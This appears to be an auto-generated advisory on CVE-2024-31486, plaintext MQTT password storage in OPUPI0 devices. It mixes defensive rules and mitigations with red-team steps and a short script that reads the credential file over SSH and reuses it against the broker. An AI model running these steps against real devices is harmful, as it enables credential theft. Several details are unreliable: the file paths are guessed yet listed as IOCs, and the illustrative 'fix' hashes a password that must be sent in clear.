CVE-2024-31486
Executive Summary
CVE-2024-31486 is a vulnerability in OPUPI0 AMQP/MQTT devices (all versions prior to V5.30) that stores MQTT client passwords without sufficient protection. An attacker with remote shell access or physical access can retrieve these credentials, leading to confidentiality loss. The vulnerability has a CVSS score of 5.3 (Medium) and is classified under CWE-522 (Insufficiently Protected Credentials). No public proof-of-concept (PoC) or exploit code is available, and the patch status is unknown/unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded devices running OPUPI0 AMQP/MQTT software.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Local (AV:L) – requires physical or remote shell access.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: High (PR:H) – attacker needs shell access.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – credentials are exposed.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: Medium. The vulnerability requires high privileges (shell access) but can lead to credential theft, enabling lateral movement or further attacks.
Deep Dive & Mechanics
The vulnerability lies in how OPUPI0 AMQP/MQTT devices store MQTT client passwords. Instead of using strong encryption or hashing, the passwords are stored with insufficient protection (e.g., plaintext or weak obfuscation). An attacker with remote shell access (e.g., via SSH or a compromised service) or physical access (e.g., via serial console or JTAG) can read the password file from the device's filesystem.
Affected Component: OPUPI0 AMQP/MQTT software versions < V5.30. Root Cause: Insecure storage of credentials (CWE-522). Attack Scenario:
- Attacker gains remote shell access via a separate vulnerability (e.g., default credentials, unpatched service) or physical access.
- Attacker navigates to the configuration directory (e.g.,
/etc/opupi0/or/var/opupi0/). - Attacker reads the MQTT client password file (e.g.,
mqtt_passwd.conforcredentials.json). - Attacker uses the stolen credentials to connect to the MQTT broker, potentially accessing sensitive data or issuing commands.
Vulnerable vs. Patched Code
Vulnerable Code (V5.29 and earlier):
# Example of insecure storage
def save_mqtt_credentials(username, password):
with open('/etc/opupi0/mqtt_creds.conf', 'w') as f:
f.write(f"username={username}\npassword={password}\n")
Patched Code (V5.30 and later):
# Example of secure storage using encryption
import hashlib, os
def save_mqtt_credentials(username, password):
salt = os.urandom(16)
hashed_password = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
with open('/etc/opupi0/mqtt_creds.conf', 'w') as f:
f.write(f"username={username}\nsalt={salt.hex()}\nhashed_password={hashed_password.hex()}\n")
Note: The actual patch details are unknown, but the above illustrates the expected fix.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Access to an OPUPI0 device with version < V5.30.
- Remote shell access (e.g., SSH with default credentials) or physical access.
Steps:
- Connect to the device via SSH:
ssh admin@<device_ip> - Locate the MQTT credentials file:
find / -name "*mqtt*cred*" -type f 2>/dev/null - Read the file:
cat /etc/opupi0/mqtt_creds.conf - Use the credentials to connect to the MQTT broker:
mosquitto_sub -h <broker_ip> -u <username> -P <password> -t "#"
Automated Script:
#!/bin/bash
# exploit_cve_2024_31486.sh
TARGET=$1
ssh admin@$TARGET "cat /etc/opupi0/mqtt_creds.conf" 2>/dev/null
Blue Team (Defensive)
Detection:
- Monitor for unauthorized SSH access attempts.
- Monitor for file reads to
/etc/opupi0/mqtt_creds.confor similar paths. - Use file integrity monitoring (FIM) to detect changes to credential files.
Mitigation:
- Apply the vendor patch (V5.30) if available.
- Restrict shell access via SSH key authentication and disable password-based login.
- Use network segmentation to limit MQTT broker exposure.
- Implement credential rotation and use strong encryption for stored passwords.
Indicators of Compromise (IOCs)
- File Paths:
/etc/opupi0/mqtt_creds.conf/var/opupi0/credentials.json/opt/opupi0/config/mqtt_passwd
- Network Traffic:
- Unauthorized MQTT connections from the device to external brokers.
- SSH connections from unknown IPs to the device.
- Processes:
cat,less,vimaccessing credential files.mosquitto_subormosquitto_pubwith stolen credentials.
Detection Engineering
YARA Rule
rule CVE_2024_31486_MQTT_Credentials {
meta:
description = "Detects OPUPI0 MQTT credential files with insufficient protection"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-31486"
strings:
$cred_pattern = /password\s*=\s*[^\n]{1,100}/ nocase
$file_header = "username="
condition:
$cred_pattern and $file_header
}
Sigma Rule
title: OPUPI0 MQTT Credential File Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects access to OPUPI0 MQTT credential files
author: Valters IT
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith:
- '/cat'
- '/less'
- '/more'
- '/vim'
- '/nano'
CommandLine|contains:
- '/etc/opupi0/mqtt_creds.conf'
- '/var/opupi0/credentials.json'
- '/opt/opupi0/config/mqtt_passwd'
condition: selection
falsepositives:
- Legitimate administrative access
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 1883 (msg:"CVE-2024-31486 MQTT Credential Exfiltration"; flow:to_server,established; content:"CONNECT"; nocase; content:"password"; nocase; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Apply Vendor Patch: Upgrade to OPUPI0 AMQP/MQTT V5.30 or later when available.
- Workaround: If patching is not possible, restrict shell access to the device:
- Disable password-based SSH authentication.
- Use SSH keys with strong passphrases.
- Implement IP whitelisting for SSH access.
- Credential Management:
- Rotate MQTT client passwords immediately.
- Use a secrets management solution (e.g., HashiCorp Vault) for storing credentials.
- Monitoring:
- Enable audit logging for file access.
- Deploy the provided YARA, Sigma, and Suricata rules.
- Network Segmentation:
- Isolate OPUPI0 devices in a separate VLAN.
- Restrict MQTT broker access to only authorized clients.
Valters IT
Securing Your Digital Frontier
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.